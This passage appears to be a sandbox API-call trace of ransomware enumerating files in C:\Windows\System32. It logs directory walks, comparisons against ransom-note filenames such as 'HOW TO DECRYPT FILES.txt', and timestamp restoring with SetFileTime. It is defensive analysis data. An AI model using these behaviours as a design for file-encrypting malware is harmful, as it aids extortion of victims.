cAlternateFileName="")) returned 1 [0144.489] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.489] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="credssp.dll") returned 1 [0144.489] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="credssp.dll") returned 1 [0144.489] lstrcmpiA (lpString1="", lpString2="credssp.dll") returned -1 [0144.489] PathFindFileNameA (pszPath="C:\\Windows\\System32\\CPFilters.dll") returned="CPFilters.dll" [0144.489] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.489] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.490] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d09d5fb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d09d5fb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d0c375b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x29400, dwReserved0=0x0, dwReserved1=0x0, cFileName="credui.dll", cAlternateFileName="")) returned 1 [0144.490] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.490] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="credui.dll") returned 1 [0144.490] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="credui.dll") returned 1 [0144.490] lstrcmpiA (lpString1="", lpString2="credui.dll") returned -1 [0144.490] PathFindFileNameA (pszPath="C:\\Windows\\System32\\credssp.dll") returned="credssp.dll" [0144.490] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.490] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.490] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x677590ec, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x677590ec, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x67d8da90, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="credwiz.exe", cAlternateFileName="")) returned 1 [0144.490] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.490] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="credwiz.exe") returned 1 [0144.490] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="credwiz.exe") returned 1 [0144.490] lstrcmpiA (lpString1="", lpString2="credwiz.exe") returned -1 [0144.490] PathFindFileNameA (pszPath="C:\\Windows\\System32\\credui.dll") returned="credui.dll" [0144.490] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.490] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.491] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x435139, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x435139, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x866dd550, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2461b, dwReserved0=0x0, dwReserved1=0x0, cFileName="crtdll.dll", cAlternateFileName="")) returned 1 [0144.491] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.491] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="crtdll.dll") returned 1 [0144.491] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="crtdll.dll") returned 1 [0144.491] lstrcmpiA (lpString1="", lpString2="crtdll.dll") returned -1 [0144.491] PathFindFileNameA (pszPath="C:\\Windows\\System32\\credwiz.exe") returned="credwiz.exe" [0144.491] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.491] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.491] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89b04660, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x89b04660, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x89b76a81, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x119c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="crypt32.dll", cAlternateFileName="")) returned 1 [0144.491] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.491] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="crypt32.dll") returned 1 [0144.491] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="crypt32.dll") returned 1 [0144.491] lstrcmpiA (lpString1="", lpString2="crypt32.dll") returned -1 [0144.491] PathFindFileNameA (pszPath="C:\\Windows\\System32\\crtdll.dll") returned="crtdll.dll" [0144.491] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.492] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.492] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54554db9, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x54554db9, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x86704650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="cryptbase.dll", cAlternateFileName="")) returned 1 [0144.492] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.492] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="cryptbase.dll") returned 1 [0144.492] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="cryptbase.dll") returned 1 [0144.492] lstrcmpiA (lpString1="", lpString2="cryptbase.dll") returned -1 [0144.492] PathFindFileNameA (pszPath="C:\\Windows\\System32\\crypt32.dll") returned="crypt32.dll" [0144.492] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.492] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.492] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8dce1c44, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8dce1c44, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="cryptdlg.dll", cAlternateFileName="")) returned 1 [0144.492] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.492] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="cryptdlg.dll") returned 1 [0144.493] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="cryptdlg.dll") returned 1 [0144.493] lstrcmpiA (lpString1="", lpString2="cryptdlg.dll") returned -1 [0144.493] PathFindFileNameA (pszPath="C:\\Windows\\System32\\cryptbase.dll") returned="cryptbase.dll" [0144.493] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.493] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.493] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x360536d1, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x360536d1, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe600, dwReserved0=0x0, dwReserved1=0x0, cFileName="cryptdll.dll", cAlternateFileName="")) returned 1 [0144.493] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.493] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="cryptdll.dll") returned 1 [0144.493] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="cryptdll.dll") returned 1 [0144.493] lstrcmpiA (lpString1="", lpString2="cryptdll.dll") returned -1 [0144.493] PathFindFileNameA (pszPath="C:\\Windows\\System32\\cryptdlg.dll") returned="cryptdlg.dll" [0144.493] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.493] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.494] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c473190, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3c473190, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd800, dwReserved0=0x0, dwReserved1=0x0, cFileName="cryptext.dll", cAlternateFileName="")) returned 1 [0144.494] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.494] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="cryptext.dll") returned 1 [0144.494] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="cryptext.dll") returned 1 [0144.494] lstrcmpiA (lpString1="", lpString2="cryptext.dll") returned -1 [0144.494] PathFindFileNameA (pszPath="C:\\Windows\\System32\\cryptdll.dll") returned="cryptdll.dll" [0144.494] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.494] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.494] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x382fd648, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x382fd648, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x19400, dwReserved0=0x0, dwReserved1=0x0, cFileName="cryptnet.dll", cAlternateFileName="")) returned 1 [0144.494] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.494] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="cryptnet.dll") returned 1 [0144.494] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="cryptnet.dll") returned 1 [0144.494] lstrcmpiA (lpString1="", lpString2="cryptnet.dll") returned -1 [0144.494] PathFindFileNameA (pszPath="C:\\Windows\\System32\\cryptext.dll") returned="cryptext.dll" [0144.494] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.495] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.495] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde3e9ca5, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xde3e9ca5, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86750140, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x13400, dwReserved0=0x0, dwReserved1=0x0, cFileName="cryptsp.dll", cAlternateFileName="")) returned 1 [0144.495] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.495] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="cryptsp.dll") returned 1 [0144.495] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="cryptsp.dll") returned 1 [0144.495] lstrcmpiA (lpString1="", lpString2="cryptsp.dll") returned -1 [0144.495] PathFindFileNameA (pszPath="C:\\Windows\\System32\\cryptnet.dll") returned="cryptnet.dll" [0144.495] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.495] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.495] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d61e8e5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d61e8e5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d644a45, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x21400, dwReserved0=0x0, dwReserved1=0x0, cFileName="cryptsvc.dll", cAlternateFileName="")) returned 1 [0144.495] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.496] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="cryptsvc.dll") returned 1 [0144.496] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="cryptsvc.dll") returned 1 [0144.496] lstrcmpiA (lpString1="", lpString2="cryptsvc.dll") returned -1 [0144.496] PathFindFileNameA (pszPath="C:\\Windows\\System32\\cryptsp.dll") returned="cryptsp.dll" [0144.496] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.496] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.496] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d513f43, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="cryptui.dll", cAlternateFileName="")) returned 1 [0144.496] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.496] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="cryptui.dll") returned 1 [0144.496] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="cryptui.dll") returned 1 [0144.496] lstrcmpiA (lpString1="", lpString2="cryptui.dll") returned -1 [0144.496] PathFindFileNameA (pszPath="C:\\Windows\\System32\\cryptsvc.dll") returned="cryptsvc.dll" [0144.496] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.496] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.497] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f6e225d, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3f6e225d, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86750140, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="cryptxml.dll", cAlternateFileName="")) returned 1 [0144.497] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.497] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="cryptxml.dll") returned 1 [0144.497] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="cryptxml.dll") returned 1 [0144.497] lstrcmpiA (lpString1="", lpString2="cryptxml.dll") returned -1 [0144.497] PathFindFileNameA (pszPath="C:\\Windows\\System32\\cryptui.dll") returned="cryptui.dll" [0144.497] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.497] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.497] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e088, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x8cc4abd3, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x8cc4abd3, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0144.497] lstrcmpA (lpString1=".", lpString2="cs-CZ") returned -1 [0144.497] lstrcmpA (lpString1="..", lpString2="cs-CZ") returned -1 [0144.497] PathFindFileNameA (pszPath="C:\\Windows\\System32\\cryptxml.dll") returned="cryptxml.dll" [0144.498] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\cs-CZ\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e088, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x8cc4abd3, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x8cc4abd3, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0144.500] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0144.500] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e088, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x8cc4abd3, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x8cc4abd3, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0144.500] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0144.500] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0144.500] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc95e3d06, ftCreationTime.dwHighDateTime=0x1ca041d, ftLastAccessTime.dwLowDateTime=0xc9a344c9, ftLastAccessTime.dwHighDateTime=0x1ca041d, ftLastWriteTime.dwLowDateTime=0xc9a5a628, ftLastWriteTime.dwHighDateTime=0x1ca041d, nFileSizeHigh=0x0, nFileSizeLow=0xba00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="cdosys.dll.mui", cAlternateFileName="")) returned 1 [0144.500] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0144.501] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="cdosys.dll.mui") returned 1 [0144.501] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="cdosys.dll.mui") returned 1 [0144.501] lstrcmpiA (lpString1="", lpString2="cdosys.dll.mui") returned -1 [0144.501] PathFindFileNameA (pszPath="C:\\Windows\\System32\\cs-CZ\\*.*") returned="*.*" [0144.501] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\cs-CZ\\" | out: lpString1="C:\\Windows\\System32\\cs-CZ\\") returned="C:\\Windows\\System32\\cs-CZ\\" [0144.501] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\cs-CZ\\" | out: pszPath="C:\\Windows\\System32\\cs-CZ\\") returned="" [0144.503] SetFileTime (hFile=0x88, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0144.504] CloseHandle (hObject=0x88) returned 1 [0144.506] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc69da72e, ftCreationTime.dwHighDateTime=0x1ca041d, ftLastAccessTime.dwLowDateTime=0xc6cfa3f9, ftLastAccessTime.dwHighDateTime=0x1ca041d, ftLastWriteTime.dwLowDateTime=0xc6cfa3f9, ftLastWriteTime.dwHighDateTime=0x1ca041d, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="comctl32.dll.mui", cAlternateFileName="")) returned 1 [0144.506] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0144.506] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="comctl32.dll.mui") returned 1 [0144.506] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="comctl32.dll.mui") returned 1 [0144.506] lstrcmpiA (lpString1="", lpString2="comctl32.dll.mui") returned -1 [0144.506] PathFindFileNameA (pszPath="C:\\Windows\\System32\\cs-CZ\\cdosys.dll.mui") returned="cdosys.dll.mui" [0144.506] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\cs-CZ\\" | out: lpString1="C:\\Windows\\System32\\cs-CZ\\") returned="C:\\Windows\\System32\\cs-CZ\\" [0144.506] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\cs-CZ\\" | out: pszPath="C:\\Windows\\System32\\cs-CZ\\") returned="" [0144.506] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b1ab7c2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b1ab7c2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b1d1922, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xcc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="comdlg32.dll.mui", cAlternateFileName="")) returned 1 [0144.506] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0144.506] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="comdlg32.dll.mui") returned 1 [0144.506] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="comdlg32.dll.mui") returned 1 [0144.507] lstrcmpiA (lpString1="", lpString2="comdlg32.dll.mui") returned -1 [0144.507] PathFindFileNameA (pszPath="C:\\Windows\\System32\\cs-CZ\\comctl32.dll.mui") returned="comctl32.dll.mui" [0144.507] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\cs-CZ\\" | out: lpString1="C:\\Windows\\System32\\cs-CZ\\") returned="C:\\Windows\\System32\\cs-CZ\\" [0144.507] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\cs-CZ\\" | out: pszPath="C:\\Windows\\System32\\cs-CZ\\") returned="" [0144.507] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc24606e1, ftCreationTime.dwHighDateTime=0x1ca041d, ftLastAccessTime.dwLowDateTime=0xc2949420, ftLastAccessTime.dwHighDateTime=0x1ca041d, ftLastWriteTime.dwLowDateTime=0xc2949420, ftLastWriteTime.dwHighDateTime=0x1ca041d, nFileSizeHigh=0x0, nFileSizeLow=0x3200, dwReserved0=0x0, dwReserved1=0x0, cFileName="fms.dll.mui", 